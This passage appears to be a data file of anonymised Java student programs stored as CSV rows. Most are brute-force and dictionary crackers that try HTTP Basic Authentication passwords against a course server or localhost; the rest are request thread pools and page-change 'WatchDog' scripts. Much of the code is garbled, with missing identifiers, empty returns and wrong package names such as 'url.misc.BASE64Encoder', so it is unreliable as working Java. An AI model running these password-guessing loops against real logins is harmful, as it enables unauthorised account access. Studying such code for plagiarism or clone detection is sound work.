	                 } catch  (ProtocolException  px) {px.printStackTrace();
                         } catch ( NoRouteToHostException nr){k--; 
			    nr.printStackTrace();
                         } catch (BindException e){e.printStackTrace();
	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	                 } catch  (IOException  io) {io.printStackTrace();
			 
	                 } finally {u.disconnect();
	                 }
			 bruteForce.threadF=false;
			 bruteForce.threadM=true;
			
			 notifyAll();
			
                    }
		   
     }
    System.out.println(""End"");
  }
 }
}


class PasswordCrackThreadM extends  Thread  {
   
   
   
   private String passwordLetters[] ;
   private String password=""  "";
   private static String userName="""";
   private MyHttpURLConnection    httpURLConnection;
   private URL   url;
   String passBase64;
   private URLAuthenticator  urlAuthenticator =  new URLAuthenticator(userName);
   BruteForce bruteForce;
   int count;    
   private HttpURLConnection  u;
   
   int start,stop;
   
   static boolean found;
   
   
   
   PasswordCrackThreadM(int start,int stop,int counter,String[]
                                                 passwordLetters,String userName,BruteForce bruteForce) {
       this.start = start;
       this.stop  = stop;
       this.passwordLetters =passwordLetters;
       this.userName=userName;
       count =counter;
        this.bruteForce=bruteForce; 
       try {
	     
	     url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
	     
             u = (HttpURLConnection)url.openConnection();
	     passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
               
	     u.setRequestProperty(""Authorization"", "" "" + passBase64);

	     

	     
	     

       } catch  (IOException  io) {io.printStackTrace();}

   }
  
   public synchronized void run()  {
     
     outer : for (int i=0; i<stop;i++)  {
                 for (int j=0;j<52;j++) {
                     for (int k=0;k<52;k++) {
                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
   	                 password="":""+password;
			
	                 
			
			
			  while  (!(bruteForce.threadM)) {
			     try { wait(1); }
			       catch (InterruptedException e){}
			   }
			     
			   
			  if (found)
			      System.exit(0);
                          try {   u = (HttpURLConnection)url.openConnection();
			 
                                  passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                  u.setRequestProperty(""Authorization"", "" "" + passBase64);
			         

			
                                  u.connect();
                                  BruteForce.noOfAttempts++;
		               
		                 if (u.getContentLength() != 0) {
			           
		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
				       found=true;
				      
				   
					
					  
					
		                        System.out.println (""Your User Name : Password is  ""+password+ 
		                                 ""   ""+ "" Found by Thread  ""+count);
				      	 
					 
					System.out.println(""   "");
			                System.out.println("" of Attempts / Requests ""+ BruteForce.noOfAttempts);
               		                System.exit(0);

	                            }
		                }
		   
		 		 
	                 } catch  (ProtocolException  px) {px.printStackTrace();
                         } catch ( NoRouteToHostException nr){k--; 
			       nr.printStackTrace();
                         } catch (BindException e){e.printStackTrace();
	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	                 } catch  (IOException  io) {io.printStackTrace();
			 
	                 } finally {u.disconnect();
	                 }
			 bruteForce.threadF=true;

			 
			 bruteForce.threadM=false;
			
			 notifyAll();
			
                    }
		   
     }
    System.out.println(""End"");
  }
 }
}







class URLAuthenticator  extends Authenticator {
   private String uName;
   String passwd;
   static  char[] password;
   public URLAuthenticator(String uName) {

     this.uName = uName;
   }

   public void setPassword(String passwd)  {

	 this.passwd=passwd;
	 password=passwd.toCharArray();

   }
   
   public PasswordAuthentication getPasswordAuthentication()  {

	
 	
	
	return new PasswordAuthentication(uName,password);
   }

}




 

class MyHttpURLConnection extends HttpURLConnection  {
    public MyHttpURLConnection(URL url) {
       super(url);
    }
    public void disconnect() {
    }

    public boolean usingProxy() {
        return true;
    }
    public void connect() {
    }

}

"
162.java,"
package java.httputils;

import java.net.URL;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Iterator;


public class HttpRequestThreadPool
{
    Hashtable h = new Hashtable();
    int poolSize = 10;
    ThreadGroup threadGroup = new ThreadGroup(""Group"" + System.currentTimeMillis());
    String URL = ""http://localhost:8080/"";
    int requestCount = 100;

    
    public HttpRequestThreadPool()
    {
        super();
    }

    public void initMap()
    {
        for (int i = 0; i < getPoolSize(); i++)
        {
            RunnableHttpRequest client = new RunnableHttpRequest(
                getURL(),
                getRequestCount(),
                ""Thread"" + System.currentTimeMillis(),
                getThreadGroup(),
                this
            );
            h.put(client, 0);
            client.a();
        }
    }

    public static void main (String[] args)
    {
        HttpRequestThreadPool pool = new HttpRequestThreadPool();
        pool.setURL(args[0]);
        pool.setPoolSize(Integer.parseInt(args[1]));
        pool.setRequestCount(Integer.parseInt(args[2]));
        pool.initMap();

        while (!pool.allThreadsFinished())
        {
            try
            {
                Thread.currentThread().sleep(1000);
            }
            catch (InterruptedException e)
            {
                e.printStackTrace();
            }
        }

        System.out.println(pool.getMap());
    }


    boolean allThreadsFinished()
    {
        boolean finished = true;

        Enumeration enuma = getMap().keys();

        while (enuma.hasMoreElements())
        {
            RunnableHttpRequest thread = ((RunnableHttpRequest)(enuma.nextElement()));



            finished = finished &&
                thread.getFinished().booleanValue();
        }

        return finished;
    }

    
    synchronized public Hashtable getMap()
    {
        return ;
    }

    
    synchronized public void setMap(Hashtable h)
    {
        this.h = h;
    }



    
    public int getPoolSize()
    {
        return poolSize;
    }

    
    public void setPoolSize(int i)
    {
        poolSize = i;
    }

    
    public ThreadGroup getThreadGroup()
    {
        return threadGroup;
    }

    
    public void setThreadGroup(ThreadGroup group)
    {
        threadGroup = group;
    }

    
    public int getRequestCount()
    {
        return requestCount;
    }

    
    public void setRequestCount(int i)
    {
        requestCount = i;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    synchronized void setThreadAverageTime(RunnableHttpRequest req, int  millis)
    {
        h.put(req, millis);
    }
}
"
065.java,"import java.*;
import java.io.*;
import java.String;
import java.util.*;

public class BruteForce
{
    public static void main (String [] args)
    {
               try
                {
                Date d  = new Date();
                String file = ""index.html"";
                String file1 = ""passwd."";
                String line ="""";
                String [] cmd = new String[4];
                cmd[0] = ""wget"";
                cmd[1] = ""--http-user="";
                cmd[3] = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
                File f = new File(file);
                FileReader fr = new FileReader(file1);
                BufferedReader in = new BufferedReader(fr); 
                while((line = in.readLine())!=null)
                {
                 Date end = new Date();
                 cmd[2] = pass(line);
                 Runtime.getRuntime().exec(cmd);
                 if(f.exists())
                 {
                   System.out.println("" have found your pasword"");
                   System.out.println(""the  time: "" + d.getMinutes() +"":""+ d.getSeconds());
                   System.out.println(""the end time: "" + end.getMinutes() +"":""+ end.getSeconds());
                    break;
                 }
                 System.out.println(cmd[2]);
                }
              }
            catch(IOException e)
            {
              System.out.println(""hello try"");
            }
    }

public static String pass(String str)
{
   return ""--http-passwd="" + str;
}

}"
168.java,"
package java.httputils;

import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.Observable;
import java.util.Observer;


public class BruteForceThreadPool extends ThreadGroup implements Observer
{
    protected String URL = ""http://localhost:8080/secret/index.html"";
    protected int poolSize = 6;

    protected Collection threadList = new ArrayList();
    protected String fileName = ""BruteForceReport.txt"";
    protected boolean finished = false;
    protected String userName = """";
    
    public BruteForceThreadPool(String name)
    {
        super(name);
    }

    
    public BruteForceThreadPool(ThreadGroup parent, String name)
    {
        super(parent, name);
    }

    
    public synchronized void update(Observable o, Object arg)
    {
        
        System.out.println(""Update method called  the observer."");
        RunnableBruteForce rbf = (RunnableBruteForce) o;
        rbf.createReport();

        
        
        for (Iterator iter = threadList.iterator(); iter.hasNext();)
        {
            RunnableBruteForce target = (RunnableBruteForce) iter.next();
            target.setStop(true);
        }
        finished = true;
    }


    
    protected void start(int threads)
    {
        
        
        int load = BruteForce.letters.length / threads;
        int remainder = BruteForce.letters.length % threads;

        
        for (int i = 0, end = ( + load);
            end < BruteForce.letters.length;
            i = end, end += load)
        {
            RunnableBruteForce runnable = new RunnableBruteForce();
            runnable.setURL(getURL());
            runnable.setRangeStart();
            runnable.setUserName(userName);
            
            runnable.setRangeEnd(
                end + load > BruteForce.letters.length ?
                BruteForce.letters.length :
                end);

            runnable.addObserver(this);
            runnable.setFileName(getFileName());
            
            threadList.add(runnable);
        }

        
        for (Iterator iter = threadList.iterator(); iter.hasNext();)
        {
            RunnableBruteForce target = (RunnableBruteForce) iter.next();
            new Thread(target).start();
        }

    }

    public static void main(String[] args)
    {
        BruteForceThreadPool pool = new BruteForceThreadPool(""BruteForceThreadGroup"");

        if (args.length < 4)
        {
            pool.printUsage();
            return;
        }
        pool.setURL(args[0]);
        pool.userName = args[1];
        pool.setFileName(args[2]);

        pool.get(Integer.parseInt(args[3]));
        while (true)
        {
            try
            {
                Thread.currentThread().sleep(100);
                if (pool.finished)
                {
                    break;
                }
            }
            catch (InterruptedException e)
            {
                e.printStackTrace();
            }
        }

        System.exit(0);
    }


    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append(""** BruteForceThreadPool proper usage **\n\n"");
        s.append(
            ""java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n"");

        return s.toString();
    }

    
    public Collection getThreadList()
    {
        return threadList;
    }

    
    public void setThreadList(Collection collection)
    {
        threadList = collection;
    }


    
    public String getFileName()
    {
        return fileName;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public int getPoolSize()
    {
        return poolSize;
    }

    
    public void setPoolSize(int i)
    {
        poolSize = i;
    }

}
"
011.java,"import java.net.*; 
import java.io.*; 
import java.util.Vector;
import java.util.Date;
import java.security.*;











  
public class BruteForce { 
  public static BufferedReader in;
  
  
  public static void main (String[] args) throws Exception {   
    String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";    
    Date date = new Date();
     startTime=date.getTime();
    int LIMITINMINUTES=45;
    int TIMELIMIT=LIMITINMINUTES*1000*60;
    boolean timedOut=false;
    boolean found=false;
    
    char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
    char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
    char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'};
    
    
    
    
    
    
    while (found==false) {
      String password = """";

      
      URL url = new URL(baseURL); 
      String username="""";
      
      
      for (int i=0; i<letters.length; i++){
        password = String.valueOf(letters[i]);  
 
        
        String authString = username+"":""+password;
        String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); 
        System.out.print(""authString is: ""+authString);     
        
        URLConnection urlConnect=url.openConnection();
      
        
        urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
 
        String responseCode = urlConnect.getHeaderField(0);
	System.out.print("" Response  is: "");
	System.out.println(responseCode);

        if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
          found=true;
	  i=letters.length;
        }      
      } 
      
      
      if (!found) {
	for (int j=0; j<letters.length; j++){
          for (int k=0; k<letters.length; k++) {
	    String letter1=String.valueOf(letters[j]);	        
            String letter2=String.valueOf(letters[k]);
	    password = letter1.concat(letter2);   

	    String authString = username+"":""+password;
	    String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	    System.out.print(""authString is: ""+authString);     
	    
	    URLConnection urlConnect=url.openConnection();

	    
	    urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	    String responseCode = urlConnect.getHeaderField(0);

    	    System.out.print("" Response  is: "");
    	    System.out.println(responseCode);

	    if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
              found=true;
              j=letters.length;
	      k=letters.length;
	    }
	  }
	}
      } 
  
  
  
  
  
      if (!found){ 
      
	for (int j=0; j<lettersLC.length; j++){
          for (int k=0; k<lettersLC.length; k++) {
	    for (int l=0; l<lettersLC.length; l++){
	      String letter1=String.valueOf(lettersLC[j]);	        
              String letter2=String.valueOf(lettersLC[k]);
	      String letter3=String.valueOf(lettersLC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersLC.length;
		k=lettersLC.length;
		l=lettersLC.length;
	      }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersLC.length;
          }
	}
      } 

      if (!found){ 
      
	for (int j=0; j<lettersUC.length; j++){
          for (int k=0; k<lettersLC.length; k++) {
	    for (int l=0; l<lettersLC.length; l++){
	      String letter1=String.valueOf(lettersUC[j]);	        
              String letter2=String.valueOf(lettersLC[k]);
	      String letter3=String.valueOf(lettersLC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersUC.length;
		k=lettersLC.length;
		l=lettersLC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersUC.length;
          }
	}
      } 
      
      if (!found){ 
      
	for (int j=0; j<lettersUC.length; j++){
          for (int k=0; k<lettersUC.length; k++) {
	    for (int l=0; l<lettersUC.length; l++){
	      String letter1=String.valueOf(lettersUC[j]);	        
              String letter2=String.valueOf(lettersUC[k]);
	      String letter3=String.valueOf(lettersUC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersUC.length;
		k=lettersUC.length;
		l=lettersUC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersUC.length;
          }
	}
      } 
      
      if (!found){ 
      
	for (int j=0; j<lettersUC.length; j++){
          for (int k=0; k<lettersUC.length; k++) {
	    for (int l=0; l<lettersLC.length; l++){
	      String letter1=String.valueOf(lettersUC[j]);	        
              String letter2=String.valueOf(lettersUC[k]);
	      String letter3=String.valueOf(lettersLC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersUC.length;
		k=lettersUC.length;
		l=lettersLC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersUC.length;
          }
	}
      } 
      
      if (!found){ 
      
	for (int j=0; j<lettersLC.length; j++){
          for (int k=0; k<lettersUC.length; k++) {
	    for (int l=0; l<lettersUC.length; l++){
	      String letter1=String.valueOf(lettersLC[j]);	        
              String letter2=String.valueOf(lettersUC[k]);
	      String letter3=String.valueOf(lettersUC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersLC.length;
		k=lettersUC.length;
		l=lettersUC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersLC.length;
          }
	}
      } 
     
      if (!found){ 
      
	for (int j=0; j<lettersLC.length; j++){
          for (int k=0; k<lettersLC.length; k++) {
	    for (int l=0; l<lettersUC.length; l++){
	      String letter1=String.valueOf(lettersLC[j]);	        
              String letter2=String.valueOf(lettersLC[k]);
	      String letter3=String.valueOf(lettersUC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersLC.length;
		k=lettersLC.length;
		l=lettersUC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersLC.length;
          }
	}
      } 
       
      if (!found){ 
      
	for (int j=0; j<lettersUC.length; j++){
          for (int k=0; k<lettersLC.length; k++) {
	    for (int l=0; l<lettersUC.length; l++){
	      String letter1=String.valueOf(lettersUC[j]);	        
              String letter2=String.valueOf(lettersLC[k]);
	      String letter3=String.valueOf(lettersUC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersUC.length;
		k=lettersLC.length;
		l=lettersUC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersLC.length;
          }
	}
      } 
      
      if (!found){ 
      
	for (int j=0; j<lettersLC.length; j++){
          for (int k=0; k<lettersUC.length; k++) {
	    for (int l=0; l<lettersLC.length; l++){
	      String letter1=String.valueOf(lettersLC[j]);	        
              String letter2=String.valueOf(lettersUC[k]);
	      String letter3=String.valueOf(lettersLC[l]);
	      password = letter1.concat(letter2);  
	      password = password.concat(letter3); 

	      String authString = username+"":""+password;
	      String encoding = new misc.BASE64Encoder().encode(authString.getBytes());
	      System.out.print(""authString is: ""+authString);     
	      
	      URLConnection urlConnect=url.openConnection();

	      
	      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

	      String responseCode = urlConnect.getHeaderField(0);

              String errorCode = new String(urlConnect.getHeaderField(0));
      	      System.out.print("" Response  is: "");
      	      System.out.println(responseCode);

	      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        	found=true;
		j=lettersLC.length;
		k=lettersUC.length;
		l=lettersLC.length;
	     }
            }
	  }
	  
          Date endDate = new Date();
           endTime=endDate.getTime();    
          if (endTime>(TIMELIMIT+startTime)){
            System.out.println(""Timed out"");
            timedOut=true;
	    j=lettersLC.length;
          }
	}
      } 
      
      if (found){ 
       
        System.out.println(""Password is: ""+password);

      }
      else {
        found=true;
	if (!timedOut){
          System.out.println(""Tried all combinations, still  match."");
	}
      }
      Date foundDate = new Date();
       foundTime=foundDate.getTime();  
      foundTime=(foundTime-startTime);
      System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); 
    }
  } 
}  
"
092.java,"import java.io.*;
import java.net.*;
import java.misc.*;


public class Dictionary
{

   public static void main (String args[]) throws IOException
   {
      final int maxLength = 3;
      final String username = """";
      final File dicFile = new File(""/usr/share/lib/dict/words"");
      final URL pageURL = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");

      String password="""";
      BASE64Encoder encoder = new BASE64Encoder();
      boolean notFound = true;
      HttpURLConnection conn;

      BufferedReader reader = new BufferedReader(new FileReader(dicFile));

      while (notFound&&((password = reader.readLine()) != null))
      {
         if(password.length()>maxLength)
         {
            continue;
         }

         conn = (HttpURLConnection) pageURL.openConnection();

            conn.setRequestProperty(""Authorization"", "" ""+encoder.encode((username+"":""+password).getBytes()));

         if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
         {
            notFound=false;
         }

      }

      reader.print();

      if(notFound)
      {
         System.out.println("" valid password in dictionary file."");
      }
      else
      {
         System.out.println(""Found valid password: \""""+password+""\"""");
      }
   }
}

"
165.java,"
package java.httputils;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.sql.Timestamp;


public class HttpRequestClient
{
    protected URL serverURL;
    protected java.net.HttpURLConnection httpConnection;
    protected Timestamp start;
    protected Timestamp end;
    protected StringBuffer content = new StringBuffer();
    protected int millis;
    protected int code;
    
    public HttpRequestClient(String url)
        throws MalformedURLException, IOException
    {
        setServerURL(new URL(url));
        
        setStart(new Timestamp(System.currentTimeMillis()));

        
        setHttpConnection(
            (HttpURLConnection)this.getServerURL().openConnection());
        doRequest();
    }

    
    public HttpRequestClient()
    {
        super();
    }


    public int doRequest()
        throws IOException
    {
        String retVal = null;
        int url = HttpURLConnection.HTTP_UNAUTHORIZED;
        BufferedInputStream stream = null;
        try
        {
            stream s = new BufferedInputStream(getHttpConnection().getInputStream());
             s= getHttpConnection().getResponseCode();
            if (s == HttpURLConnection.HTTP_UNAUTHORIZED)
            {
                return s;
            }

            int c = -1;
            while ((c = stream.get()) != -1)
            {
                getContent().append((char)c);
            }
            
            setEnd(new Timestamp(System.currentTimeMillis()));
        }
        catch (IOException e)
        {
            this.setCode(getHttpConnection().getResponseCode());
            throw e;
        }
        finally
        {
            if (stream != null) stream.close();
        }


        return ;
    }

    public static void main(String[] args)
    {
        HttpRequestClient client = null;
        try
        {
            client = new HttpRequestClient(args[0]);
        }
        catch (MalformedURLException e)
        {
            e.printStackTrace();
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        finally
        {
            if (client != null)
            {
                System.out.println(
                    ""Request processing time (milliseconds): "" +
                    (client.getEnd().getTime() - client.getStart().getTime()));

                System.out.println(
                    ""Request content: \n"" + client.getContent());

            }
        }
    }
    
    public HttpURLConnection getHttpConnection()
    {
        return httpConnection;
    }

    
    public URL getServerURL()
    {
        return serverURL;
    }

    
    public void setHttpConnection(java.net.HttpURLConnection connection)
    {
        httpConnection = connection;
    }

    
    public void setServerURL(URL url)
    {
        serverURL = url;
    }

    
    public StringBuffer getContent()
    {
        return content;
    }

    
    public Timestamp getEnd()
    {
        return end;
    }

    
    public Timestamp getStart()
    {
        return ;
    }

    
    public void setContent(StringBuffer buffer)
    {
        content = buffer;
    }

    
    public void setEnd(Timestamp timestamp)
    {
        end = timestamp;
    }

    
    public void setStart(Timestamp timestamp)
    {
       start  = timestamp;
    }

    
    public  getMillis()
    {
        return getEnd().getTime() - getStart().getTime();
    }
    
    public int getCode()
    {
        return code;
    }

    
    public void setCode(int i)
    {
       code  = i;
    }

}
"
049.java,"import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;


public class ReadFile
{
  private StringTokenizer tokenizer;
  private BufferedReader bf;
  private String line;
  private String first;
  Vector in = new Vector();
  
  public void loadFile()throws NoSuchElementException, IOException
  {
    System.out.println(""in loadFile"");
    try{
    bf = new BufferedReader(new FileReader(""words""));
    }
    catch(FileNotFoundException fe){}
    catch(IOException io){}
    while((line = bf.readLine())!=null)
      {

        int index = 0;
        tokenizer = new StringTokenizer(line);
        try
	   {
	     first = tokenizer.nextToken();
	     
	     
	     if (first.length() == 3)
	     {
		in.add(first);
	     }
	  }
        catch(NoSuchElementException n)
	   {
          System.out.println(""File Loaded Succesfully"");

        }

      }
   }
   public Vector getVector()
   {
    return in;
   }
   public static void main (String args[])
   {
     Vector v = new Vector();
     try
     {
       System.out.println(""in "");
	 ReadFile  rf = new ReadFile();
       rf.loadFile();
       v = rf.getVector();
	 
     }
     catch(IOException e)
     {
      System.out.println(e);
     }
     System.out.println(""size:"" + v.size());
     for (int i = 0; i< v.size(); i++)
      {
        System.out.println(i+1+ "":"" + v.elementAt(i));
      }
     
     
   }
   
}
"
154.java,"import java.io.*;
import java.util.StringTokenizer;
import java.net.smtp.SmtpClient;
import java.util.Timer;
import java.util.TimerTask;


public class WatchDog {
public static void main(String[] args) {
try {
Process y = Runtime.getRuntime().exec(""./init"");
}
catch (Exception e) {System.err.println(e);}


WatchDog poodle=new WatchDog();
 {
poodle.startWatch();
} while(1==1);
}

public void startWatch() {
String error_mes=new String();
String mesg=new String();
String url=""wget -p http://www.cs.rmit.edu./students"";

try {
Process a = Runtime.getRuntime().exec(url);
}
catch (Exception e) {System.err.println(e);}

try {
Process b = Runtime.getRuntime().exec(""diff org/images/ www.cs.rmit.edu./images/"");
 BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream()));
            while ((error_mes = stdInputimages.readLine()) != null) {

              mesg=mesg.concat(error_mes);
              
              
              }
}
catch (Exception e) {System.err.println(e);}




try {
Process c = Runtime.getRuntime().exec(""diff org/students/ www.cs.rmit.edu./students/"");
BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));
            while ((error_mes = stdInputindex.readLine()) != null) {
             mesg=mesg.concat(error_mes);
                  
              }
}
catch (Exception e) {System.err.println(e);}


if (mesg.length()>0) { sendEmail(mesg); }

try { Thread.sleep(60*60*24*1000);
 } catch(Exception e) { }
}





public void sendEmail(String message) {
{
String reciever = ""@cs.rmit.edu."";
String sender = ""WATCHDOG@cs.rmit.edu."";

    try {

                        SmtpClient smtp = new SmtpClient();
                        smtp.from(sender);
                        smtp.to(reciever);
                        PrintStream msg = smtp.startMessage();
                        msg.println(message);
                        smtp.closeServer();
                }

                catch (Exception e) {}

        }
}
}"
031.java,"

import java.io.*;
import java.util.*;


public class WatchDog
{
    private static String userid;





    public static void main(String args[])
    {

        
        if (args.length != 1)
        {
              System.out.println(""Please provide the Username  mail the possible differences."");
              System.exit(0);
        }
        else
              userid = args[0];


        while(true)
        {
             try
             {
                WatchDog wd = new WatchDog(userid);
                Thread.sleep(1000);
             }
             catch (InterruptedException i )
             {
                   i.printStackTrace();
                    System.exit(-1);
             }
             catch (Exception e)
             {
                    e.printStackTrace();
                    System.exit(-1);
             }
        }
    }




    public WatchDog(String userid)
    {
      checkFileChanges(userid);
    }






    private void checkFileChanges(String userid)
    {

             try
             {
                    Process p = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/"");
                    Thread.sleep(1000);
                    p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 > diff.txt""});
                    Thread.sleep(10000);


                    if (isFileChanged() == true)
                    {
                      System.out.println(""Result: Difference found in . Check your Pine  for details"");
                      mailFileChanges(userid);
                      recordFileChanges();
                    }
                    else
                    {
                        System.out.println(""Result:  Difference found in "");
                        recordFileChanges();

                    }

             }
             catch (IOException e)
             {
                  e.printStackTrace();
                  System.exit(-1);
             }
             catch (InterruptedException ioe)
             {
                  ioe.printStackTrace();
                  System.exit(-1);
             }
             catch (Exception exp)
             {
                  exp.printStackTrace();
                  System.exit(-1);
             }
    }





    private void recordFileChanges()
    {
         try
         {

